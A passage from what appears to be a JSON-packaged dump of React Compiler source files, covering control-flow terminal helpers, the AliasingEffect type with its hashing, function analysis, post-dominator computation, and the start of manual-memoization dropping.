fn(terminal.fallthrough);\n      return {\n        kind: terminal.kind,\n        scope: terminal.scope,\n        block,\n        fallthrough,\n        id: makeInstructionId(0),\n        loc: terminal.loc,\n      };\n    }\n    case 'unreachable':\n    case 'unsupported': {\n      return terminal;\n    }\n    default: {\n      assertExhaustive(\n        terminal,\n        `Unexpected terminal kind \\`${(terminal as any as Terminal).kind}\\``,\n      );\n    }\n  }\n}\n\nexport function terminalHasFallthrough<\n  T extends Terminal,\n  U extends T & {fallthrough: BlockId},\n>(terminal: T): terminal is U {\n  switch (terminal.kind) {\n    case 'maybe-throw':\n    case 'goto':\n    case 'return':\n    case 'throw':\n    case 'unreachable':\n    case 'unsupported': {\n      const _: undefined = terminal.fallthrough;\n      return false;\n    }\n    case 'branch':\n    case 'try':\n    case 'do-while':\n    case 'for-of':\n    case 'for-in':\n    case 'for':\n    case 'if':\n    case 'label':\n    case 'logical':\n    case 'optional':\n    case 'sequence':\n    case 'switch':\n    case 'ternary':\n    case 'while':\n    case 'scope':\n    case 'pruned-scope': {\n      const _: BlockId = terminal.fallthrough;\n      return true;\n    }\n    default: {\n      assertExhaustive(\n        terminal,\n        `Unexpected terminal kind \\`${(terminal as any).kind}\\``,\n      );\n    }\n  }\n}\n\n/*\n * Helper to get a terminal's fallthrough. The main reason to extract this as a helper\n * function is to ensure that we use an exhaustive switch to ensure that we add new terminal\n * variants as appropriate.\n */\nexport function terminalFallthrough(terminal: Terminal): BlockId | null {\n  if (terminalHasFallthrough(terminal)) {\n    return terminal.fallthrough;\n  } else {\n    return null;\n  }\n}\n\n/*\n * Iterates over the successor block ids of the provided terminal. The function is called\n * specifically for the successors that define the standard control flow, and not\n * pseduo-successors such as fallthroughs.\n */\nexport function* eachTerminalSuccessor(terminal: Terminal): Iterable<BlockId> {\n  switch (terminal.kind) {\n    case 'goto': {\n      yield terminal.block;\n      break;\n    }\n    case 'if': {\n      yield terminal.consequent;\n      yield terminal.alternate;\n      break;\n    }\n    case 'branch': {\n      yield terminal.consequent;\n      yield terminal.alternate;\n      break;\n    }\n    case 'switch': {\n      for (const case_ of terminal.cases) {\n        yield case_.block;\n      }\n      break;\n    }\n    case 'optional':\n    case 'ternary':\n    case 'logical': {\n      yield terminal.test;\n      break;\n    }\n    case 'return': {\n      break;\n    }\n    case 'throw': {\n      break;\n    }\n    case 'do-while': {\n      yield terminal.loop;\n      break;\n    }\n    case 'while': {\n      yield terminal.test;\n      break;\n    }\n    case 'for': {\n      yield terminal.init;\n      break;\n    }\n    case 'for-of': {\n      yield terminal.init;\n      break;\n    }\n    case 'for-in': {\n      yield terminal.init;\n      break;\n    }\n    case 'label': {\n      yield terminal.block;\n      break;\n    }\n    case 'sequence': {\n      yield terminal.block;\n      break;\n    }\n    case 'maybe-throw': {\n      yield terminal.continuation;\n      if (terminal.handler !== null) {\n        yield terminal.handler;\n      }\n      break;\n    }\n    case 'try': {\n      yield terminal.block;\n      break;\n    }\n    case 'scope':\n    case 'pruned-scope': {\n      yield terminal.block;\n      break;\n    }\n    case 'unreachable':\n    case 'unsupported':\n      break;\n    default: {\n      assertExhaustive(\n        terminal,\n        `Unexpected terminal kind \\`${(terminal as any as Terminal).kind}\\``,\n      );\n    }\n  }\n}\n\nexport function mapTerminalOperands(\n  terminal: Terminal,\n  fn: (place: Place) => Place,\n): void {\n  switch (terminal.kind) {\n    case 'if': {\n      terminal.test = fn(terminal.test);\n      break;\n    }\n    case 'branch': {\n      terminal.test = fn(terminal.test);\n      break;\n    }\n    case 'switch': {\n      terminal.test = fn(terminal.test);\n      for (const case_ of terminal.cases) {\n        if (case_.test === null) {\n          continue;\n        }\n        case_.test = fn(case_.test);\n      }\n      break;\n    }\n    case 'return':\n    case 'throw': {\n      terminal.value = fn(terminal.value);\n      break;\n    }\n    case 'try': {\n      if (terminal.handlerBinding !== null) {\n        terminal.handlerBinding = fn(terminal.handlerBinding);\n      } else {\n        terminal.handlerBinding = null;\n      }\n      break;\n    }\n    case 'maybe-throw':\n    case 'sequence':\n    case 'label':\n    case 'optional':\n    case 'ternary':\n    case 'logical':\n    case 'do-while':\n    case 'while':\n    case 'for':\n    case 'for-of':\n    case 'for-in':\n    case 'goto':\n    case 'unreachable':\n    case 'unsupported':\n    case 'scope':\n    case 'pruned-scope': {\n      // no-op\n      break;\n    }\n    default: {\n      assertExhaustive(\n        terminal,\n        `Unexpected terminal kind \\`${(terminal as any).kind}\\``,\n      );\n    }\n  }\n}\n\nexport function* eachTerminalOperand(terminal: Terminal): Iterable<Place> {\n  switch (terminal.kind) {\n    case 'if': {\n      yield terminal.test;\n      break;\n    }\n    case 'branch': {\n      yield terminal.test;\n      break;\n    }\n    case 'switch': {\n      yield terminal.test;\n      for (const case_ of terminal.cases) {\n        if (case_.test === null) {\n          continue;\n        }\n        yield case_.test;\n      }\n      break;\n    }\n    case 'return':\n    case 'throw': {\n      yield terminal.value;\n      break;\n    }\n    case 'try': {\n      if (terminal.handlerBinding !== null) {\n        yield terminal.handlerBinding;\n      }\n      break;\n    }\n    case 'maybe-throw':\n    case 'sequence':\n    case 'label':\n    case 'optional':\n    case 'ternary':\n    case 'logical':\n    case 'do-while':\n    case 'while':\n    case 'for':\n    case 'for-of':\n    case 'for-in':\n    case 'goto':\n    case 'unreachable':\n    case 'unsupported':\n    case 'scope':\n    case 'pruned-scope': {\n      // no-op\n      break;\n    }\n    default: {\n      assertExhaustive(\n        terminal,\n        `Unexpected terminal kind \\`${(terminal as any).kind}\\``,\n      );\n    }\n  }\n}\n\n/**\n * Helper class for traversing scope blocks in HIR-form.\n */\nexport class ScopeBlockTraversal {\n  // Live stack of active scopes\n  #activeScopes: Array<ScopeId> = [];\n  blockInfos: Map<\n    BlockId,\n    | {\n        kind: 'end';\n        scope: ReactiveScope;\n        pruned: boolean;\n      }\n    | {\n        kind: 'begin';\n        scope: ReactiveScope;\n        pruned: boolean;\n        fallthrough: BlockId;\n      }\n  > = new Map();\n\n  recordScopes(block: BasicBlock): void {\n    const blockInfo = this.blockInfos.get(block.id);\n    if (blockInfo?.kind === 'begin') {\n      this.#activeScopes.push(blockInfo.scope.id);\n    } else if (blockInfo?.kind === 'end') {\n      const top = this.#activeScopes.at(-1);\n      CompilerError.invariant(blockInfo.scope.id === top, {\n        reason:\n          'Expected traversed block fallthrough to match top-most active scope',\n        loc: block.instructions[0]?.loc ?? block.terminal.loc,\n      });\n      this.#activeScopes.pop();\n    }\n\n    if (\n      block.terminal.kind === 'scope' ||\n      block.terminal.kind === 'pruned-scope'\n    ) {\n      CompilerError.invariant(\n        !this.blockInfos.has(block.terminal.block) &&\n          !this.blockInfos.has(block.terminal.fallthrough),\n        {\n          reason: 'Expected unique scope blocks and fallthroughs',\n          loc: block.terminal.loc,\n        },\n      );\n      this.blockInfos.set(block.terminal.block, {\n        kind: 'begin',\n        scope: block.terminal.scope,\n        pruned: block.terminal.kind === 'pruned-scope',\n        fallthrough: block.terminal.fallthrough,\n      });\n      this.blockInfos.set(block.terminal.fallthrough, {\n        kind: 'end',\n        scope: block.terminal.scope,\n        pruned: block.terminal.kind === 'pruned-scope',\n      });\n    }\n  }\n\n  /**\n   * @returns if the given scope is currently 'active', i.e. if the scope start\n   * block but not the scope fallthrough has been recorded.\n   */\n  isScopeActive(scopeId: ScopeId): boolean {\n    return this.#activeScopes.indexOf(scopeId) !== -1;\n  }\n\n  /**\n   * The current, innermost active scope.\n   */\n  get currentScope(): ScopeId | null {\n    return this.#activeScopes.at(-1) ?? null;\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Inference/AliasingEffects.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {CompilerDiagnostic} from '../CompilerError';\nimport {\n  FunctionExpression,\n  GeneratedSource,\n  Hole,\n  IdentifierId,\n  ObjectMethod,\n  Place,\n  SourceLocation,\n  SpreadPattern,\n  ValueKind,\n  ValueReason,\n} from '../HIR';\nimport {FunctionSignature} from '../HIR/ObjectShape';\nimport {printSourceLocation} from '../HIR/PrintHIR';\n\n/**\n * `AliasingEffect` describes a set of \"effects\" that an instruction/terminal has on one or\n * more values in a program. These effects include mutation of values, freezing values,\n * tracking data flow between values, and other specialized cases.\n */\nexport type AliasingEffect =\n  /**\n   * Marks the given value and its direct aliases as frozen.\n   *\n   * Captured values are *not* considered frozen, because we cannot be sure that a previously\n   * captured value will still be captured at the point of the freeze.\n   *\n   * For example:\n   * const x = {};\n   * const y = [x];\n   * y.pop(); // y dosn't contain x anymore!\n   * freeze(y);\n   * mutate(x); // safe to mutate!\n   *\n   * The exception to this is FunctionExpressions - since it is impossible to change which\n   * value a function closes over[1] we can transitively freeze functions and their captures.\n   *\n   * [1] Except for `let` values that are reassigned and closed over by a function, but we\n   * handle this explicitly with StoreContext/LoadContext.\n   */\n  | {kind: 'Freeze'; value: Place; reason: ValueReason}\n  /**\n   * Mutate the value and any direct aliases (not captures). Errors if the value is not mutable.\n   */\n  | {kind: 'Mutate'; value: Place; reason?: MutationReason | null}\n  /**\n   * Mutate the value and any direct aliases (not captures), but only if the value is known mutable.\n   * This should be rare.\n   *\n   * TODO: this is only used for IteratorNext, but even then MutateTransitiveConditionally is more\n   * correct for iterators of unknown types.\n   */\n  | {kind: 'MutateConditionally'; value: Place}\n  /**\n   * Mutate the value, any direct aliases, and any transitive captures. Errors if the value is not mutable.\n   */\n  | {kind: 'MutateTransitive'; value: Place}\n  /**\n   * Mutates any of the value, its direct aliases, and its transitive captures that are mutable.\n   */\n  | {kind: 'MutateTransitiveConditionally'; value: Place}\n  /**\n   * Records information flow from `from` to `into` in cases where local mutation of the destination\n   * will *not* mutate the source:\n   *\n   * - Capture a -> b and Mutate(b) X=> (does not imply) Mutate(a)\n   * - Capture a -> b and MutateTransitive(b) => (does imply) Mutate(a)\n   *\n   * Example: `array.push(item)`. Information from item is captured into array, but there is not a\n   * direct aliasing, and local mutations of array will not modify item.\n   */\n  | {kind: 'Capture'; from: Place; into: Place}\n  /**\n   * Records information flow from `from` to `into` in cases where local mutation of the destination\n   * *will* mutate the source:\n   *\n   * - Alias a -> b and Mutate(b) => (does imply) Mutate(a)\n   * - Alias a -> b and MutateTransitive(b) => (does imply) Mutate(a)\n   *\n   * Example: `c = identity(a)`. We don't know what `identity()` returns so we can't use Assign.\n   * But we have to assume that it _could_ be returning its input, such that a local mutation of\n   * c could be mutating a.\n   */\n  | {kind: 'Alias'; from: Place; into: Place}\n\n  /**\n   * Indicates the potential for information flow from `from` to `into`. This is used for a specific\n   * case: functions with unknown signatures. If the compiler sees a call such as `foo(x)`, it has to\n   * consider several possibilities (which may depend on the arguments):\n   * - foo(x) returns a new mutable value that does not capture any information from x.\n   * - foo(x) returns a new mutable value that *does* capture information from x.\n   * - foo(x) returns x itself, ie foo is the identity function\n   *\n   * The same is true of functions that take multiple arguments: `cond(a, b, c)` could conditionally\n   * return b or c depending on the value of a.\n   *\n   * To represent this case, MaybeAlias represents the fact that an aliasing relationship could exist.\n   * Any mutations that flow through this relationship automatically become conditional.\n   */\n  | {kind: 'MaybeAlias'; from: Place; into: Place}\n\n  /**\n   * Records direct assignment: `into = from`.\n   */\n  | {kind: 'Assign'; from: Place; into: Place}\n  /**\n   * Creates a value of the given type at the given place\n   */\n  | {kind: 'Create'; into: Place; value: ValueKind; reason: ValueReason}\n  /**\n   * Creates a new value with the same kind as the starting value.\n   */\n  | {kind: 'CreateFrom'; from: Place; into: Place}\n  /**\n   * Immutable data flow, used for escape analysis. Does not influence mutable range analysis:\n   */\n  | {kind: 'ImmutableCapture'; from: Place; into: Place}\n  /**\n   * Calls the function at the given place with the given arguments either captured or aliased,\n   * and captures/aliases the result into the given place.\n   */\n  | {\n      kind: 'Apply';\n      receiver: Place;\n      function: Place;\n      mutatesFunction: boolean;\n      args: Array<Place | SpreadPattern | Hole>;\n      into: Place;\n      signature: FunctionSignature | null;\n      loc: SourceLocation;\n    }\n  /**\n   * Constructs a function value with the given captures. The mutability of the function\n   * will be determined by the mutability of the capture values when evaluated.\n   */\n  | {\n      kind: 'CreateFunction';\n      captures: Array<Place>;\n      function: FunctionExpression | ObjectMethod;\n      into: Place;\n    }\n  /**\n   * Mutation of a value known to be immutable\n   */\n  | {kind: 'MutateFrozen'; place: Place; error: CompilerDiagnostic}\n  /**\n   * Mutation of a global\n   */\n  | {\n      kind: 'MutateGlobal';\n      place: Place;\n      error: CompilerDiagnostic;\n    }\n  /**\n   * Indicates a side-effect that is not safe during render\n   */\n  | {kind: 'Impure'; place: Place; error: CompilerDiagnostic}\n  /**\n   * Indicates that a given place is accessed during render. Used to distingush\n   * hook arguments that are known to be called immediately vs those used for\n   * event handlers/effects, and for JSX values known to be called during render\n   * (tags, children) vs those that may be events/effect (other props).\n   */\n  | {\n      kind: 'Render';\n      place: Place;\n    };\n\nexport type MutationReason = {kind: 'AssignCurrentProperty'};\n\nexport function hashEffect(effect: AliasingEffect): string {\n  switch (effect.kind) {\n    case 'Apply': {\n      return [\n        effect.kind,\n        effect.receiver.identifier.id,\n        effect.function.identifier.id,\n        effect.mutatesFunction,\n        effect.args\n          .map(a => {\n            if (a.kind === 'Hole') {\n              return '';\n            } else if (a.kind === 'Identifier') {\n              return a.identifier.id;\n            } else {\n              return `...${a.place.identifier.id}`;\n            }\n          })\n          .join(','),\n        effect.into.identifier.id,\n      ].join(':');\n    }\n    case 'CreateFrom':\n    case 'ImmutableCapture':\n    case 'Assign':\n    case 'Alias':\n    case 'Capture':\n    case 'MaybeAlias': {\n      return [\n        effect.kind,\n        effect.from.identifier.id,\n        effect.into.identifier.id,\n      ].join(':');\n    }\n    case 'Create': {\n      return [\n        effect.kind,\n        effect.into.identifier.id,\n        effect.value,\n        effect.reason,\n      ].join(':');\n    }\n    case 'Freeze': {\n      return [effect.kind, effect.value.identifier.id, effect.reason].join(':');\n    }\n    case 'Impure':\n    case 'Render': {\n      return [effect.kind, effect.place.identifier.id].join(':');\n    }\n    case 'MutateFrozen':\n    case 'MutateGlobal': {\n      return [\n        effect.kind,\n        effect.place.identifier.id,\n        effect.error.severity,\n        effect.error.reason,\n        effect.error.description,\n        printSourceLocation(effect.error.primaryLocation() ?? GeneratedSource),\n      ].join(':');\n    }\n    case 'Mutate':\n    case 'MutateConditionally':\n    case 'MutateTransitive':\n    case 'MutateTransitiveConditionally': {\n      return [effect.kind, effect.value.identifier.id].join(':');\n    }\n    case 'CreateFunction': {\n      return [\n        effect.kind,\n        effect.into.identifier.id,\n        // return places are a unique way to identify functions themselves\n        effect.function.loweredFunc.func.returns.identifier.id,\n        effect.captures.map(p => p.identifier.id).join(','),\n      ].join(':');\n    }\n  }\n}\n\nexport type AliasingSignature = {\n  receiver: IdentifierId;\n  params: Array<IdentifierId>;\n  rest: IdentifierId | null;\n  returns: IdentifierId;\n  effects: Array<AliasingEffect>;\n  temporaries: Array<Place>;\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Inference/AnalyseFunctions.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {CompilerError} from '../CompilerError';\nimport {Effect, HIRFunction, IdentifierId, makeInstructionId} from '../HIR';\nimport {deadCodeElimination} from '../Optimization';\nimport {inferReactiveScopeVariables} from '../ReactiveScopes';\nimport {rewriteInstructionKindsBasedOnReassignment} from '../SSA';\nimport {assertExhaustive} from '../Utils/utils';\nimport {inferMutationAliasingEffects} from './InferMutationAliasingEffects';\nimport {inferMutationAliasingRanges} from './InferMutationAliasingRanges';\n\nexport default function analyseFunctions(func: HIRFunction): void {\n  for (const [_, block] of func.body.blocks) {\n    for (const instr of block.instructions) {\n      switch (instr.value.kind) {\n        case 'ObjectMethod':\n        case 'FunctionExpression': {\n          lowerWithMutationAliasing(instr.value.loweredFunc.func);\n\n          /**\n           * Reset mutable range for outer inferReferenceEffects\n           */\n          for (const operand of instr.value.loweredFunc.func.context) {\n            /**\n             * NOTE: inferReactiveScopeVariables makes identifiers in the scope\n             * point to the *same* mutableRange instance. Resetting start/end\n             * here is insufficient, because a later mutation of the range\n             * for any one identifier could affect the range for other identifiers.\n             */\n            operand.identifier.mutableRange = {\n              start: makeInstructionId(0),\n              end: makeInstructionId(0),\n            };\n            operand.identifier.scope = null;\n          }\n          break;\n        }\n      }\n    }\n  }\n}\n\nfunction lowerWithMutationAliasing(fn: HIRFunction): void {\n  /**\n   * Phase 1: similar to lower(), but using the new mutation/aliasing inference\n   */\n  analyseFunctions(fn);\n  inferMutationAliasingEffects(fn, {isFunctionExpression: true});\n  deadCodeElimination(fn);\n  const functionEffects = inferMutationAliasingRanges(fn, {\n    isFunctionExpression: true,\n  });\n  rewriteInstructionKindsBasedOnReassignment(fn);\n  inferReactiveScopeVariables(fn);\n  fn.aliasingEffects = functionEffects;\n\n  /**\n   * Phase 2: populate the Effect of each context variable to use in inferring\n   * the outer function. For example, InferMutationAliasingEffects uses context variable\n   * effects to decide if the function may be mutable or not.\n   */\n  const capturedOrMutated = new Set<IdentifierId>();\n  for (const effect of functionEffects) {\n    switch (effect.kind) {\n      case 'Assign':\n      case 'Alias':\n      case 'Capture':\n      case 'CreateFrom':\n      case 'MaybeAlias': {\n        capturedOrMutated.add(effect.from.identifier.id);\n        break;\n      }\n      case 'Apply': {\n        CompilerError.invariant(false, {\n          reason: `[AnalyzeFunctions] Expected Apply effects to be replaced with more precise effects`,\n          loc: effect.function.loc,\n        });\n      }\n      case 'Mutate':\n      case 'MutateConditionally':\n      case 'MutateTransitive':\n      case 'MutateTransitiveConditionally': {\n        capturedOrMutated.add(effect.value.identifier.id);\n        break;\n      }\n      case 'Impure':\n      case 'Render':\n      case 'MutateFrozen':\n      case 'MutateGlobal':\n      case 'CreateFunction':\n      case 'Create':\n      case 'Freeze':\n      case 'ImmutableCapture': {\n        // no-op\n        break;\n      }\n      default: {\n        assertExhaustive(\n          effect,\n          `Unexpected effect kind ${(effect as any).kind}`,\n        );\n      }\n    }\n  }\n\n  for (const operand of fn.context) {\n    if (\n      capturedOrMutated.has(operand.identifier.id) ||\n      operand.effect === Effect.Capture\n    ) {\n      operand.effect = Effect.Capture;\n    } else {\n      operand.effect = Effect.Read;\n    }\n  }\n\n  fn.env.logger?.debugLogIRs?.({\n    kind: 'hir',\n    name: 'AnalyseFunction (inner)',\n    value: fn,\n  });\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Inference/ControlDominators.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {BlockId, computePostDominatorTree, HIRFunction, Place} from '../HIR';\nimport {PostDominator} from '../HIR/Dominator';\n\nexport type ControlDominators = (id: BlockId) => boolean;\n\n/**\n * Returns an object that lazily calculates whether particular blocks are controlled\n * by values of interest. Which values matter are up to the caller.\n */\nexport function createControlDominators(\n  fn: HIRFunction,\n  isControlVariable: (place: Place) => boolean,\n): ControlDominators {\n  const postDominators = computePostDominatorTree(fn, {\n    includeThrowsAsExitNode: false,\n  });\n  const postDominatorFrontierCache = new Map<BlockId, Set<BlockId>>();\n\n  function isControlledBlock(id: BlockId): boolean {\n    let controlBlocks = postDominatorFrontierCache.get(id);\n    if (controlBlocks === undefined) {\n      controlBlocks = postDominatorFrontier(fn, postDominators, id);\n      postDominatorFrontierCache.set(id, controlBlocks);\n    }\n    for (const blockId of controlBlocks) {\n      const controlBlock = fn.body.blocks.get(blockId)!;\n      switch (controlBlock.terminal.kind) {\n        case 'if':\n        case 'branch': {\n          if (isControlVariable(controlBlock.terminal.test)) {\n            return true;\n          }\n          break;\n        }\n        case 'switch': {\n          if (isControlVariable(controlBlock.terminal.test)) {\n            return true;\n          }\n          for (const case_ of controlBlock.terminal.cases) {\n            if (case_.test !== null && isControlVariable(case_.test)) {\n              return true;\n            }\n          }\n          break;\n        }\n      }\n    }\n    return false;\n  }\n\n  return isControlledBlock;\n}\n\n/*\n * Computes the post-dominator frontier of @param block. These are immediate successors of nodes that\n * post-dominate @param targetId and from which execution may not reach @param block. Intuitively, these\n * are the earliest blocks from which execution branches such that it may or may not reach the target block.\n */\nfunction postDominatorFrontier(\n  fn: HIRFunction,\n  postDominators: PostDominator<BlockId>,\n  targetId: BlockId,\n): Set<BlockId> {\n  const visited = new Set<BlockId>();\n  const frontier = new Set<BlockId>();\n  const targetPostDominators = postDominatorsOf(fn, postDominators, targetId);\n  for (const blockId of [...targetPostDominators, targetId]) {\n    if (visited.has(blockId)) {\n      continue;\n    }\n    visited.add(blockId);\n    const block = fn.body.blocks.get(blockId)!;\n    for (const pred of block.preds) {\n      if (!targetPostDominators.has(pred)) {\n        // The predecessor does not always reach this block, we found an item on the frontier!\n        frontier.add(pred);\n      }\n    }\n  }\n  return frontier;\n}\n\nfunction postDominatorsOf(\n  fn: HIRFunction,\n  postDominators: PostDominator<BlockId>,\n  targetId: BlockId,\n): Set<BlockId> {\n  const result = new Set<BlockId>();\n  const visited = new Set<BlockId>();\n  const queue = [targetId];\n  while (queue.length) {\n    const currentId = queue.shift()!;\n    if (visited.has(currentId)) {\n      continue;\n    }\n    visited.add(currentId);\n    const current = fn.body.blocks.get(currentId)!;\n    for (const pred of current.preds) {\n      const predPostDominator = postDominators.get(pred) ?? pred;\n      if (predPostDominator === targetId || result.has(predPostDominator)) {\n        result.add(pred);\n      }\n      queue.push(pred);\n    }\n  }\n  return result;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Inference/DropManualMemoization.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {CompilerDiagnostic, CompilerError, SourceLocation} from '..';\nimport {ErrorCategory} from '../CompilerError';\nimport {\n  CallExpression,\n  Effect,\n  Environment,\n  FinishMemoize,\n  FunctionExpression,\n  HIRFunction,\n  IdentifierId,\n  Instruction,\n  InstructionId,\n  InstructionValue,\n  LoadGlobal,\n  LoadLocal,\n  ManualMemoDependency,\n  MethodCall,\n  Place,\n  PropertyLoad,\n  SpreadPattern,\n  StartMemoize,\n  TInstruction,\n  getHookKindForType,\n  makeInstructionId,\n} from '../HIR';\nimport {createTemporaryPlace, markInstructionIds} from '../HIR/HIRBuilder';\n\ntype ManualMemoCallee = {\n  kind: 'useMemo' | 'useCallback';\n  loadInstr: TInstruction<LoadGlobal> | TInstruction<PropertyLoad>;\n};\n\ntype IdentifierSidemap = {\n  functions: Map<IdentifierId, TInstruction<FunctionExpression>>;\n  manualMemos: Map<IdentifierId, ManualMemoCallee>;\n  react: Set<IdentifierId>;\n  maybeDepsLists: Map<IdentifierId, {loc: SourceLocation; deps: Array<Place>}>;\n  maybeDeps: Map<IdentifierId, ManualMemoDependency>;\n  optionals: Set<IdentifierId>;\n};\n\n/**\n * Collect loads from named variables and property reads from @value\n * into `maybeDeps`\n * Returns the variable + property reads represented by @instr\n */\nexport function collectMaybeMemoDependencies(\n  value: InstructionValue,\n  maybeDeps: Map<IdentifierId, ManualMemoDependency>,\n  optional: boolean,\n): ManualMemoDependency | null {\n  switch (value.kind) {\n    case 'LoadGlobal': {\n      return {\n        root: {\n          kind: 'Global',\n          identifierName: value.binding.name,\n        },\n        path: [],\n        loc: value.loc,\n      };\n    }\n    case 'PropertyLoad': {\n      const object = maybeDeps.get(value.object.identifier.id);\n      if (object != null) {\n        return {\n          root: object.root,\n          // TODO: determine if the access is optional\n          path: [\n            ...object.path,\n            {property: value.property, optional, loc: value.loc},\n          ],\n          loc: value.loc,\n        };\n      }\n      break;\n    }\n\n    case 'LoadLocal':\n    case 'LoadContext': {\n      const source = maybeDeps.get(value.place.identifier.id);\n      if (source != null) {\n        return source;\n      } else if (\n        value.place.identifier.name != null &&\n        value.place.identifier.name.kind === 'named'\n      ) {\n        return {\n          root: {\n            kind: 'NamedLocal',\n            value: {...value.place},\n            constant: false,\n          },\n          path: [],\n          loc: value.place.loc,\n        };\n      }\n      break;\n    }\n    case 'StoreLocal': {\n      /*\n       * Value blocks rely on StoreLocal to populate their return value.\n       * We need to track these as optional property chains are valid in\n       * source depslists\n       */\n      const lvalue = value.lvalue.place.identifier;\n      const rvalue = value.value.identifier.id;\n      const aliased = maybeDeps.get(rvalue);\n      if (aliased != null && lvalue.name?.kind !== 'named') {\n        maybeDeps.set(lvalue.id, aliased);\n        return aliased;\n      }\n      break;\n    }\n  }\n  return null;\n}\n\nfunction collectTemporaries(\n  instr: Instruction,\n  env: Environment,\n  sidemap: IdentifierSidemap,\n): void {\n  const {value, lvalue} = instr;\n  switch (value.kind) {\n    case 'FunctionExpression': {\n      sidemap.functions.set(\n        instr.lvalue.identifier.id,\n        instr as TInstruction<FunctionExpression>,\n      );\n      break;\n    }\n    case 'LoadGlobal': {\n      const global = env.getGlobalDeclaration(value.binding, value.loc);\n      const hookKind = global !== null ? getHookKindForType(env, global) : null;\n      const lvalId = instr.lvalue.identifier.id;\n      if (hookKind === 'useMemo' || hookKind === 'useCallback') {\n        sidemap.manualMemos.set(lvalId, {\n          kind: hookKind,\n          loadInstr: instr as TInstruction<LoadGlobal>,\n        });\n      } else if (value.binding.name === 'React') {\n        sidemap.react.add(lvalId);\n      }\n      break;\n    }\n    case 'PropertyLoad': {\n      if (sidemap.react.has(value.object.identifier.id)) {\n        const property = value.property;\n        if (property === 'useMemo' || property === 'useCallback') {\n          sidemap.manualMemos.set(instr.lvalue.identifier.id, {\n            kind: property as 'useMemo' | 'useCallback',\n            loadInstr: instr as TInstruction<PropertyLoad>,\n          });\n        }\n      }\n      break;\n    }\n    case 'ArrayExpression': {\n      if (value.elements.every(e => e.kind === 'Identifier')) {\n        sidemap.maybeDepsLists.set(instr.lvalue.identifier.id, {\n          loc: value.loc,\n          deps: value.elements as Array<Place>,\n        });\n      }\n      break;\n    }\n  }\n  const maybeDep = collectMaybeMemoDependencies(\n    value,\n    sidemap.maybeDeps,\n    sidemap.optionals.has(lvalue.identifier.id),\n  );\n  // We don't expect named lvalues during this pass (unlike ValidatePreservingManualMemo)\n  if (maybeDep != null) {\n    sidemap.maybeDeps.set(lvalue.identifier.id, maybeDep);\n  }\n}\n\nfunction makeManualMemoizationMarkers(\n  fnExpr: Place,\n  env: Environment,\n  depsList: Array<ManualMemoDependency> | null,\n  depsLoc: SourceLocation | null,\n  memoDecl: Place,\n  manualMemoId: number,\n): [TInstruction<StartMemoize>, TInstruction<FinishMemoize>] {\n  return [\n    {\n      id: makeInstructionId(0),\n      lvalue: createTemporaryPlace(env, fnExpr.loc),\n      value: {\n        kind: 'StartMemoize',\n        manualMemoId,\n        /*\n         * Use deps list from source instead of inferred deps\n         * as dependencies\n         */\n        deps: depsList,\n        depsLoc,\n        loc: fnExpr.loc,\n      },\n      effects: null,\n      loc: fnExpr.loc,\n    },\n    {\n      id: makeInstructionId(0),\n      lvalue: createTemporaryPlace(env, fnExpr.loc),\n      value: {\n        kind: 'FinishMemoize',\n        manualMemoId,\n        decl: {...memoDecl},\n        loc: fnExpr.loc,\n      },\n      effects: null,\n      loc: fnExpr.loc,\n    },\n  ];\n}\n\nfunction getManualMemoizationReplacement(\n  fn: Place,\n  loc: SourceLocation,\n  kind: 'useMemo' | 'useCallback',\n): LoadLocal | CallExpression {\n  if (kind === 'useMemo') {\n    /*\n     * Replace the hook callee with the fn arg.\n     *\n     * before:\n     *   $1 = LoadGlobal useMemo       // load the useMemo global\n     *   $2 = FunctionExpression ...   // memo function\n     *   $3 = ArrayExpression [ ... ]  // deps array\n     *   $4 = Call $1 ($2, $3 )        // invoke useMemo w fn and deps\n     *\n     * after:\n     *   $1 = LoadGlobal useMemo       // load the useMemo global (dead code)\n     *   $2 = FunctionExpression ...   // memo function\n     *   $3 = ArrayExpression [ ... ]  // deps array (dead code)\n     *   $4 = Call $2 ()               // invoke the memo function itself\n     *\n     * Note that a later pass (InlineImmediatelyInvokedFunctionExpressions) will\n     * inline the useMemo callback along with any other immediately invoked IIFEs.\n     */\n    return {\n      kind: 'CallExpression',\n      callee: fn,\n      /*\n       * Drop the args, including the deps array which DCE will remove\n       * later.\n       */\n      args: [],\n      loc,\n    };\n  } else {\n    /*\n     * Instead of a Call, just alias the callback directly.\n     *\n     * before:\n     *   $1 = LoadGlobal useCallback\n     *   $2 = FunctionExpression ...   // the callback being memoized\n     *   $3 = ArrayExpression ...      // deps array\n     *   $4 = Call $1 ( $2, $3 )       // invoke useCallback\n     *\n     * after:\n     *   $1 = LoadGlobal useCallback   // dead code\n     *   $2 = FunctionExpression ...   // the callback being memoized\n     *   $3 = ArrayExpression ...      // deps array (dead code)\n     *   $4 = LoadLocal $2             // reference the function\n     */\n    return {\n      kind: 'LoadLocal',\n      place: {\n        kind: 'Identifier',\n        identifier: fn.identifier,\n        effect: Effect.Unknown,\n        reactive: false,\n        loc,\n      },\n      loc,\n    };\n  }\n}\n\nfunction extractManualMemoizationArgs(\n  instr: TInstruction<CallExpression> | TInstruction<MethodCall>,\n  kind: 'useCallback' | 'useMemo',\n  sidemap: IdentifierSidemap,\n  env: Environment,\n): {\n  fnPlace: Place;\n  depsList: Array<ManualMemoDependency> | null;\n  depsLoc: SourceLocation | null;\n} | null {\n  const [fnPlace, depsListPlace] = instr.value.args as Array<\n    Place | SpreadPattern | undefined\n  >;\n  if (fnPlace == null || fnPlace.kind !== 'Identifier') {\n    env.recordError(\n      CompilerDiagnostic.create({\n        category: ErrorCategory.UseMemo,\n        reason: 